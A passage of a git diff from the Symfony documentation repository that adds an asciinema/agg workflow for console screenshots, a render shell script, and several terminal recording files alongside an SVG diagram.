style="stroke:none;" d="M 9.390625 -7.984375 C 9.796875 -8.710938 10.28125 -9.25 10.84375 -9.59375 C 11.40625 -9.9375 12.070312 -10.109375 12.84375 -10.109375 C 13.875 -10.109375 14.664062 -9.75 15.21875 -9.03125 C 15.78125 -8.3125 16.0625 -7.289062 16.0625 -5.96875 L 16.0625 0 L 14.421875 0 L 14.421875 -5.90625 C 14.421875 -6.851562 14.253906 -7.554688 13.921875 -8.015625 C 13.585938 -8.472656 13.078125 -8.703125 12.390625 -8.703125 C 11.546875 -8.703125 10.878906 -8.421875 10.390625 -7.859375 C 9.910156 -7.304688 9.671875 -6.546875 9.671875 -5.578125 L 9.671875 0 L 8.03125 0 L 8.03125 -5.90625 C 8.03125 -6.863281 7.863281 -7.566406 7.53125 -8.015625 C 7.195312 -8.472656 6.679688 -8.703125 5.984375 -8.703125 C 5.148438 -8.703125 4.488281 -8.421875 4 -7.859375 C 3.507812 -7.296875 3.265625 -6.535156 3.265625 -5.578125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.640625 -8.945312 4.082031 -9.390625 4.59375 -9.671875 C 5.113281 -9.960938 5.734375 -10.109375 6.453125 -10.109375 C 7.160156 -10.109375 7.765625 -9.925781 8.265625 -9.5625 C 8.773438 -9.195312 9.148438 -8.671875 9.390625 -7.984375 Z M 9.390625 -7.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph2-8"> +<path style="stroke:none;" d="M 6.1875 -4.96875 C 4.875 -4.96875 3.960938 -4.816406 3.453125 -4.515625 C 2.953125 -4.210938 2.703125 -3.703125 2.703125 -2.984375 C 2.703125 -2.398438 2.890625 -1.941406 3.265625 -1.609375 C 3.648438 -1.273438 4.171875 -1.109375 4.828125 -1.109375 C 5.722656 -1.109375 6.441406 -1.425781 6.984375 -2.0625 C 7.535156 -2.695312 7.8125 -3.546875 7.8125 -4.609375 L 7.8125 -4.96875 Z M 9.421875 -5.640625 L 9.421875 0 L 7.8125 0 L 7.8125 -1.5 C 7.4375 -0.894531 6.972656 -0.453125 6.421875 -0.171875 C 5.867188 0.109375 5.191406 0.25 4.390625 0.25 C 3.378906 0.25 2.570312 -0.03125 1.96875 -0.59375 C 1.375 -1.164062 1.078125 -1.925781 1.078125 -2.875 C 1.078125 -3.988281 1.445312 -4.828125 2.1875 -5.390625 C 2.9375 -5.953125 4.050781 -6.234375 5.53125 -6.234375 L 7.8125 -6.234375 L 7.8125 -6.390625 C 7.8125 -7.140625 7.5625 -7.71875 7.0625 -8.125 C 6.570312 -8.53125 5.882812 -8.734375 5 -8.734375 C 4.4375 -8.734375 3.882812 -8.664062 3.34375 -8.53125 C 2.8125 -8.394531 2.300781 -8.191406 1.8125 -7.921875 L 1.8125 -9.421875 C 2.40625 -9.648438 2.976562 -9.820312 3.53125 -9.9375 C 4.09375 -10.050781 4.640625 -10.109375 5.171875 -10.109375 C 6.597656 -10.109375 7.660156 -9.738281 8.359375 -9 C 9.066406 -8.257812 9.421875 -7.140625 9.421875 -5.640625 Z M 9.421875 -5.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph2-9"> +<path style="stroke:none;" d="M 1.703125 -13.71875 L 3.328125 -13.71875 L 3.328125 0 L 1.703125 0 Z M 1.703125 -13.71875 "/> +</symbol> +<symbol overflow="visible" id="glyph2-10"> +<path style="stroke:none;" d="M 1.703125 -9.875 L 3.328125 -9.875 L 3.328125 0 L 1.703125 0 Z M 1.703125 -13.71875 L 3.328125 -13.71875 L 3.328125 -11.671875 L 1.703125 -11.671875 Z M 1.703125 -13.71875 "/> +</symbol> +<symbol overflow="visible" id="glyph2-11"> +<path style="stroke:none;" d="M 1 -9.875 L 8.703125 -9.875 L 8.703125 -8.390625 L 2.609375 -1.296875 L 8.703125 -1.296875 L 8.703125 0 L 0.78125 0 L 0.78125 -1.484375 L 6.875 -8.578125 L 1 -8.578125 Z M 1 -9.875 "/> +</symbol> +</g> +</defs> +<g id="surface34785"> +<rect x="0" y="0" width="498" height="404" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 29.500067 21.6021 L 54.000067 21.6021 L 54.000067 41.6021 L 29.500067 41.6021 Z M 29.500067 21.6021 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 38.300067 30.09253 C 38.134247 30.09253 38.000067 30.226905 38.000067 30.39253 L 38.000067 32.79253 C 38.000067 32.95835 38.134247 33.09253 38.300067 33.09253 L 45.700067 33.09253 C 45.865692 33.09253 46.000067 32.95835 46.000067 32.79253 L 46.000067 30.39253 C 46.000067 30.226905 45.865692 30.09253 45.700067 30.09253 Z M 38.300067 30.09253 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="228.683594" y="207.986762"/> + <use xlink:href="#glyph0-2" x="242.572483" y="207.986762"/> + <use xlink:href="#glyph0-2" x="250.628038" y="207.986762"/> + <use xlink:href="#glyph0-3" x="258.961372" y="207.986762"/> + <use xlink:href="#glyph0-4" x="271.461372" y="207.986762"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.550067 36.999952 C 31.384247 36.999952 31.250067 37.134327 31.250067 37.299952 L 31.250067 39.885303 C 31.250067 40.050928 31.384247 40.185303 31.550067 40.185303 L 52.450067 40.185303 C 52.615692 40.185303 52.750067 40.050928 52.750067 39.885303 L 52.750067 37.299952 C 52.750067 37.134327 52.615692 36.999952 52.450067 36.999952 Z M 31.550067 36.999952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="51.320313" y="349.702854"/> + <use xlink:href="#glyph1-2" x="65.209201" y="349.702854"/> + <use xlink:href="#glyph1-3" x="81.042535" y="349.702854"/> + <use xlink:href="#glyph1-4" x="91.320313" y="349.702854"/> + <use xlink:href="#glyph1-5" x="116.59809" y="349.702854"/> + <use xlink:href="#glyph1-6" x="132.431424" y="349.702854"/> + <use xlink:href="#glyph1-7" x="142.709201" y="349.702854"/> + <use xlink:href="#glyph1-8" x="151.042535" y="349.702854"/> + <use xlink:href="#glyph1-9" x="161.042535" y="349.702854"/> + <use xlink:href="#glyph1-10" x="168.820313" y="349.702854"/> + <use xlink:href="#glyph1-11" x="185.209201" y="349.702854"/> + <use xlink:href="#glyph1-12" x="205.764757" y="349.702854"/> + <use xlink:href="#glyph1-13" x="225.209201" y="349.702854"/> + <use xlink:href="#glyph1-7" x="233.542535" y="349.702854"/> + <use xlink:href="#glyph1-14" x="241.875868" y="349.702854"/> + <use xlink:href="#glyph1-15" x="259.653646" y="349.702854"/> + <use xlink:href="#glyph1-16" x="282.153646" y="349.702854"/> + <use xlink:href="#glyph1-13" x="296.59809" y="349.702854"/> + <use xlink:href="#glyph1-7" x="304.931424" y="349.702854"/> + <use xlink:href="#glyph1-17" x="313.264757" y="349.702854"/> + <use xlink:href="#glyph1-10" x="331.320313" y="349.702854"/> + <use xlink:href="#glyph1-18" x="347.709201" y="349.702854"/> + <use xlink:href="#glyph1-13" x="365.486979" y="349.702854"/> + <use xlink:href="#glyph1-7" x="373.820313" y="349.702854"/> + <use xlink:href="#glyph1-19" x="382.153646" y="349.702854"/> + <use xlink:href="#glyph1-20" x="396.042535" y="349.702854"/> + <use xlink:href="#glyph1-15" x="413.820313" y="349.702854"/> + <use xlink:href="#glyph1-16" x="436.320313" y="349.702854"/> + <use xlink:href="#glyph1-21" x="450.764757" y="349.702854"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.018817 33.981397 L 41.018817 36.523975 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.268817 33.981397 L 41.018817 33.481397 L 40.768817 33.981397 Z M 41.268817 33.981397 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph2-1" x="286.210938" y="254.496419"/> + <use xlink:href="#glyph2-2" x="297.322049" y="254.496419"/> + <use xlink:href="#glyph2-3" x="308.710938" y="254.496419"/> + <use xlink:href="#glyph2-4" x="318.710938" y="254.496419"/> + <use xlink:href="#glyph2-5" x="329.822049" y="254.496419"/> + <use xlink:href="#glyph2-1" x="341.210938" y="254.496419"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph2-5" x="167.328125" y="294.496419"/> + <use xlink:href="#glyph2-1" x="178.717014" y="294.496419"/> + <use xlink:href="#glyph2-3" x="189.828125" y="294.496419"/> + <use xlink:href="#glyph2-4" x="199.828125" y="294.496419"/> + <use xlink:href="#glyph2-5" x="210.939236" y="294.496419"/> + <use xlink:href="#glyph2-1" x="222.328125" y="294.496419"/> +</g> +<path style="fill:none;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.964325 27.157373 L 34.953778 36.597608 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.214325 27.157764 L 34.964911 26.657373 L 34.714325 27.157178 Z M 35.214325 27.157764 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.550067 22.999952 C 31.384247 22.999952 31.250067 23.134327 31.250067 23.299952 L 31.250067 25.885303 C 31.250067 26.050928 31.384247 26.185303 31.550067 26.185303 L 52.450067 26.185303 C 52.615692 26.185303 52.750067 26.050928 52.750067 25.885303 L 52.750067 23.299952 C 52.750067 23.134327 52.615692 22.999952 52.450067 22.999952 Z M 31.550067 22.999952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-11" x="213.683594" y="69.702854"/> + <use xlink:href="#glyph1-22" x="234.239149" y="69.702854"/> + <use xlink:href="#glyph1-23" x="250.628038" y="69.702854"/> + <use xlink:href="#glyph1-24" x="257.85026" y="69.702854"/> + <use xlink:href="#glyph1-25" x="273.961372" y="69.702854"/> + <use xlink:href="#glyph1-6" x="288.128038" y="69.702854"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-5" x="1" y="208.525825"/> + <use xlink:href="#glyph0-6" x="13.777778" y="208.525825"/> + <use xlink:href="#glyph0-7" x="26.277778" y="208.525825"/> + <use xlink:href="#glyph0-6" x="36.833333" y="208.525825"/> + <use xlink:href="#glyph0-2" x="49.333333" y="208.525825"/> + <use xlink:href="#glyph0-8" x="57.666667" y="208.525825"/> + <use xlink:href="#glyph0-3" x="63.222222" y="208.525825"/> + <use xlink:href="#glyph0-9" x="75.722222" y="208.525825"/> + <use xlink:href="#glyph0-8" x="81.277778" y="208.525825"/> + <use xlink:href="#glyph0-10" x="86.833333" y="208.525825"/> + <use xlink:href="#glyph0-6" x="97.388889" y="208.525825"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="404.378906" y="208.525825"/> + <use xlink:href="#glyph0-6" x="414.934462" y="208.525825"/> + <use xlink:href="#glyph0-2" x="427.434462" y="208.525825"/> + <use xlink:href="#glyph0-8" x="435.767795" y="208.525825"/> + <use xlink:href="#glyph0-3" x="441.323351" y="208.525825"/> + <use xlink:href="#glyph0-9" x="453.823351" y="208.525825"/> + <use xlink:href="#glyph0-8" x="459.378906" y="208.525825"/> + <use xlink:href="#glyph0-10" x="464.934462" y="208.525825"/> + <use xlink:href="#glyph0-6" x="475.490017" y="208.525825"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.231317 26.545655 L 43.231317 28.995655 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.981317 28.995655 L 43.231317 29.495655 L 43.481317 28.995655 Z M 42.981317 28.995655 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.018817 27.107373 L 41.018817 29.649952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.268817 27.107373 L 41.018817 26.607373 L 40.768817 27.107373 Z M 41.268817 27.107373 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph2-2" x="286.210938" y="116.762044"/> + <use xlink:href="#glyph2-4" x="297.599826" y="116.762044"/> + <use xlink:href="#glyph2-6" x="308.710938" y="116.762044"/> + <use xlink:href="#glyph2-7" x="315.93316" y="116.762044"/> + <use xlink:href="#glyph2-8" x="333.43316" y="116.762044"/> + <use xlink:href="#glyph2-9" x="344.544271" y="116.762044"/> + <use xlink:href="#glyph2-10" x="349.544271" y="116.762044"/> + <use xlink:href="#glyph2-11" x="354.544271" y="116.762044"/> + <use xlink:href="#glyph2-1" x="363.988715" y="116.762044"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph2-5" x="121.929688" y="156.762044"/> + <use xlink:href="#glyph2-1" x="133.318576" y="156.762044"/> + <use xlink:href="#glyph2-2" x="144.429688" y="156.762044"/> + <use xlink:href="#glyph2-4" x="155.818576" y="156.762044"/> + <use xlink:href="#glyph2-6" x="166.929688" y="156.762044"/> + <use xlink:href="#glyph2-7" x="174.15191" y="156.762044"/> + <use xlink:href="#glyph2-8" x="191.65191" y="156.762044"/> + <use xlink:href="#glyph2-9" x="202.763021" y="156.762044"/> + <use xlink:href="#glyph2-10" x="207.763021" y="156.762044"/> + <use xlink:href="#glyph2-11" x="212.763021" y="156.762044"/> + <use xlink:href="#glyph2-1" x="222.207465" y="156.762044"/> +</g> +<path style="fill:none;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 48.951044 26.559327 L 48.940497 35.999756 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 48.690497 35.999366 L 48.939911 36.499756 L 49.190497 35.999952 Z M 48.690497 35.999366 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.231317 33.419678 L 43.231317 35.869678 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.981317 35.869678 L 43.231317 36.369678 L 43.481317 35.869678 Z M 42.981317 35.869678 " transform="matrix(20,0,0,20,-583.974,-430.042)"/> +</g> +</svg> diff --git a/_images/sources/README.md b/_images/sources/README.md index 9e40e0ac884..84810a9783d 100644 --- a/_images/sources/README.md +++ b/_images/sources/README.md @@ -1,8 +1,8 @@ -How to Create Symfony Diagrams -============================== +How to Create Symfony Images +============================ -Creating the Diagram --------------------- +Creating Diagrams +----------------- * Use [Dia][1] as the diagramming application; * Use [PT Sans Narrow][2] as the only font in all diagrams (if possible, use @@ -21,38 +21,82 @@ Creating the Diagram In case of doubt, check the existing diagrams or ask to the [Symfony Documentation Team][3]. -Saving and Exporting the Diagram --------------------------------- +### Saving and Exporting the Diagram * Save the original diagram in `*.dia` format in `_images/sources/<folder-name>`; * Export the diagram to SVG format and save it in `_images/<folder-name>`. -Including the Diagram in the Symfony Docs ------------------------------------------ +Important: choose "Cairo Scalable Vector Graphics (.svg)" format instead of +plain " Scalable Vector Graphics (.svg)" because the former is the only format +that transforms text into vector shapes (resulting file is larger in size, but +it's truly portable because text is displayed the same even if you don't have +some fonts installed). + +### Including the Diagram in the Symfony Docs Use the following snippet to embed the diagram in the docs: ``` .. raw:: html - <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"></object> + <object data="_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml" + alt="<alt description>" + ></object> ``` -Reasoning ---------- +### Reasoning * Dia was chosen because it's one of the few applications which are free, open source and compatible with Linux, macOS and Windows. * Font, colors and line widths were chosen to be similar to the diagrams used in the best tech books. -Troubleshooting ---------------- +### Troubleshooting * On some macOS systems, Dia cannot be executed as a regular application and you must run the following console command instead: `export DISPLAY=:0 && /Applications/Dia.app/Contents/Resources/bin/dia` +Creating Console Screenshots +---------------------------- + +* Use [Asciinema][4] to record the console session locally: + + ``` + $ asciinema rec -c bash recording.cast + ``` +* Use `$ ` as the prompt in recordings. E.g. if you're using Bash, add the + following lines to your ``.bashrc``: + + ``` + if [ "$ASCIINEMA_REC" = "1" ]; then + PS1="\e[37m$ \e[0m" + fi + ``` +* Save the generated asciicast in `_images/sources/<folder-name>`. + +### Rendering the Recording + +Rendering the recording can be a difficult task. The [documentation team][3] +is always ready to help you with this task (e.g. you can open a PR with +only the asciicast file). + +* Use [agg][5] to generated a GIF file from the recording; +* Install the [JetBrains Mono][6] font; +* Use the ``_images/sources/ascii-render.sh`` file to call agg: + + ``` + AGG_PATH=/path/to/agg ./_images/sources/ascii-render.sh recording.cast --cols 45 --rows 20 + ``` + + This utility configures a predefined theme; +* Always configure `--cols`` (width) and ``--rows`` (height), try to use as + low as possible numbers. Do not exceed 70 columns; +* Save the generated GIF file in `_images/<folder-name>`. + [1]: http://dia-installer.de/ [2]: https://fonts.google.com/specimen/PT+Sans+Narrow -[3]: https://symfony.com/doc/current/contributing/code/core_team.html +[3]: https://symfony.com/doc/current/contributing/core_team.html +[4]: https://github.com/asciinema/asciinema +[5]: https://github.com/asciinema/agg +[6]: https://www.jetbrains.com/lp/mono/ diff --git a/_images/sources/ascii-render.sh b/_images/sources/ascii-render.sh new file mode 100755 index 00000000000..e72be572390 --- /dev/null +++ b/_images/sources/ascii-render.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env sh +case "$1" in + ''|help|-h) + echo "ansi-render.sh RECORDING [options]" + echo "" + echo " RECORDING: path to the .cast file generated by asciinema" + echo " [options]: optional options to be passed to agg" + ;; + *) + recording=$1 + extra_options= + if [ $# -gt 1 ]; then + shift + extra_options=$@ + fi + + # optionally, use this green color: 1f4631 + ${AGG_PATH:-agg} \ + --theme 18202a,f9fafb,f9fafb,ff7b72,7ee787,ffa657,79c0ff,d2a8ff,a5d6ff,f9fafb,8b949e,ff7b72,00c300,ffa657,79c0ff,d2a8ff,a5d6ff,f9fafb --line-height 1.6 \ + --font-family 'JetBrains Mono' \ + $extra_options \ + $recording $(echo $recording | sed "s/cast/gif/") + ;; +esac diff --git a/_images/sources/components/console/completion.cast b/_images/sources/components/console/completion.cast new file mode 100644 index 00000000000..c268863e9b0 --- /dev/null +++ b/_images/sources/components/console/completion.cast @@ -0,0 +1,37 @@ +{"version": 2, "width": 76, "height": 30, "timestamp": 1663253713, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}} +[0.00798, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"] +[0.614685, "o", "b"] +[0.776549, "o", "i"] +[0.86682, "o", "n"] +[1.092426, "o", "/"] +[1.332671, "o", "c"] +[1.55068, "o", "o"] +[1.630651, "o", "n"] +[1.784584, "o", "s"] +[1.873108, "o", "o"] +[2.074652, "o", "l"] +[2.180433, "o", "e"] +[2.260475, "o", " "] +[2.696628, "o", "\u0007"] +[2.947263, "o", "\r\nabout debug:event-dispatcher\r\nassets:install debug:router\r\ncache:clear help\r\ncache:pool:clear lint:container\r\ncache:pool:delete lint:yaml\r\ncache:pool:list list\r\ncache:pool:prune router:match\r\ncache:warmup secrets:decrypt-to-local\r\ncompletion secrets:encrypt-from-local\r\nconfig:dump-reference secrets:generate-keys\r\ndebug:autowiring secrets:list\r\ndebug:config secrets:remove\r\ndebug:container secrets:set\r\ndebug:dotenv \r\n\u001b[37m$ \u001b[0mbin/console "] +[3.614479, "o", "s"] +[3.802449, "o", "e"] +[4.205631, "o", "\u0007crets:"] +[4.520435, "o", "r"] +[4.598031, "o", "e"] +[5.026287, "o", "move "] +[5.47041, "o", "\u0007SOME_"] +[5.673941, "o", "\u0007"] +[6.024086, "o", "\r\nSOME_OTHER_SECRET SOME_SECRET \r\n\u001b[37m$ \u001b[0mbin/console secrets:remove SOME_"] +[6.770627, "o", "O"] +[7.14335, "o", "THER_SECRET "] +[7.724482, "o", "\r\n\u001b[?2004l\r"] +[7.776657, "o", "\r\n"] +[7.779108, "o", "\u001b[30;42m \u001b[39;49m\r\n\u001b[30;42m [OK] Secret \"SOME_OTHER_SECRET\" removed from \"config/secrets/dev/\". \u001b[39;49m\r\n\u001b[30;42m \u001b[39;49m\r\n\r\n"] +[7.782993, "o", "\u001b[?2004h\u001b[37m$ \u001b[0m"] +[9.214537, "o", "e"] +[9.522429, "o", "x"] +[9.690371, "o", "i"] +[9.85446, "o", "t"] +[10.292412, "o", "\r\n\u001b[?2004l\r"] +[10.292526, "o", "exit\r\n"] diff --git a/_images/sources/components/console/cursor.cast b/_images/sources/components/console/cursor.cast new file mode 100644 index 00000000000..be2f2f6c351 --- /dev/null +++ b/_images/sources/components/console/cursor.cast @@ -0,0 +1,49 @@ +{"version": 2, "width": 191, "height": 30, "timestamp": 1663251833, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}} +[0.007941, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"] +[0.566363, "o", "c"] +[0.643353, "o", "l"] +[0.762325, "o", "e"] +[0.952363, "o", "a"] +[0.995878, "o", "r"] +[1.107784, "o", "\r\n\u001b[?2004l\r"] +[1.109766, "o", "\u001b[H\u001b[2J"] +[1.109946, "o", "\u001b[?2004h\u001b[30m$ \u001b[0m"] +[1.653461, "o", "p"] +[1.772323, "o", "h"] +[1.856444, "o", "p"] +[1.980339, "o", " "] +[2.15827, "o", "c"] +[2.273242, "o", "u"] +[2.402231, "o", "r"] +[2.563066, "o", "s"] +[2.760266, "o", "o"] +[2.900252, "o", "r"] +[3.020537, "o", "."] +[3.316404, "o", "p"] +[3.403213, "o", "h"] +[3.483391, "o", "p"] +[3.820273, "o", "\r\n\u001b[?2004l\r"] +[3.845697, "o", "\u001b[6;9H#"] +[4.045942, "o", "\u001b[8;9H#"] +[4.246327, "o", "\u001b[8;2H#####"] +[4.446737, "o", "\u001b[2;9H#######"] +[4.647128, "o", "\u001b[7;7H#"] +[4.84749, "o", "\u001b[3;9H#"] +[5.047857, "o", "\u001b[7;9H#"] +[5.248246, "o", "\u001b[4;9H#"] +[5.448622, "o", "\u001b[2;2H#####"] +[5.648999, "o", "\u001b[3;7H#"] +[5.849378, "o", "\u001b[5;9H#####"] +[6.049711, "o", "\u001b[3;1H#"] +[6.250118, "o", "\u001b[7;1H#"] +[6.45056, "o", "\u001b[5;2H#####"] +[6.650897, "o", "\u001b[4;1H#"] +[6.851281, "o", "\u001b[6;7H#"] +[7.051644, "o", "\u001b[9;1H"] +[7.058802, "o", "\u001b[?2004h\u001b[30m$ \u001b[0m"] +[7.657612, "o", "e"] +[7.846956, "o", "x"] +[7.949451, "o", "i"] +[8.0893, "o", "t"] +[8.201144, "o", "\r\n\u001b[?2004l\r"] +[8.201227, "o", "exit\r\n"] diff --git a/_images/sources/components/console/progress.cast b/_images/sources/components/console/progress.cast new file mode 100644 index 00000000000..9c5244b37e2 --- /dev/null +++ b/_images/sources/components/console/progress.cast @@ -0,0 +1,57 @@ +{"version": 2, "width": 191, "height": 17, "timestamp": 1663423221, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}} +[0.008171, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"] +[0.385858, "o", "p"] +[0.577979, "o", "h"] +[0.768282, "o", "p"] +[0.96433, "o", " "] +[1.133645, "o", "p"] +[1.262693, "o", "r"] +[1.385832, "o", "o"] +[1.476876, "o", "g"] +[1.652322, "o", "r"] +[1.722357, "o", "e"] +[1.935395, "o", "s"] +[2.083915, "o", "s"] +[2.200109, "o", "."] +[2.403686, "o", "p"] +[2.510201, "o", "h"] +[2.602756, "o", "p"] +[2.909974, "o", "\r\n\u001b[?2004l\r"] +[2.935647, "o", "\u001b[34m Starting the demo... fingers crossed \u001b[39m\r\n 0/15 \u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 0%\r\n < 1 sec 4.0 MiB"] +[3.418022, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"] +[3.419196, "o", "\u001b[34m Starting the demo... fingers crossed \u001b[39m\r\n 2/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 13%\r\n < 1 sec 6.0 MiB"] +[3.66102, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G"] +[3.661071, "o", "\u001b[2K"] +[3.661731, "o", "\u001b[34m Starting the demo... fingers crossed \u001b[39m\r\n 3/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 20%\r\n 5 secs 6.0 MiB"] +[4.143554, "o", 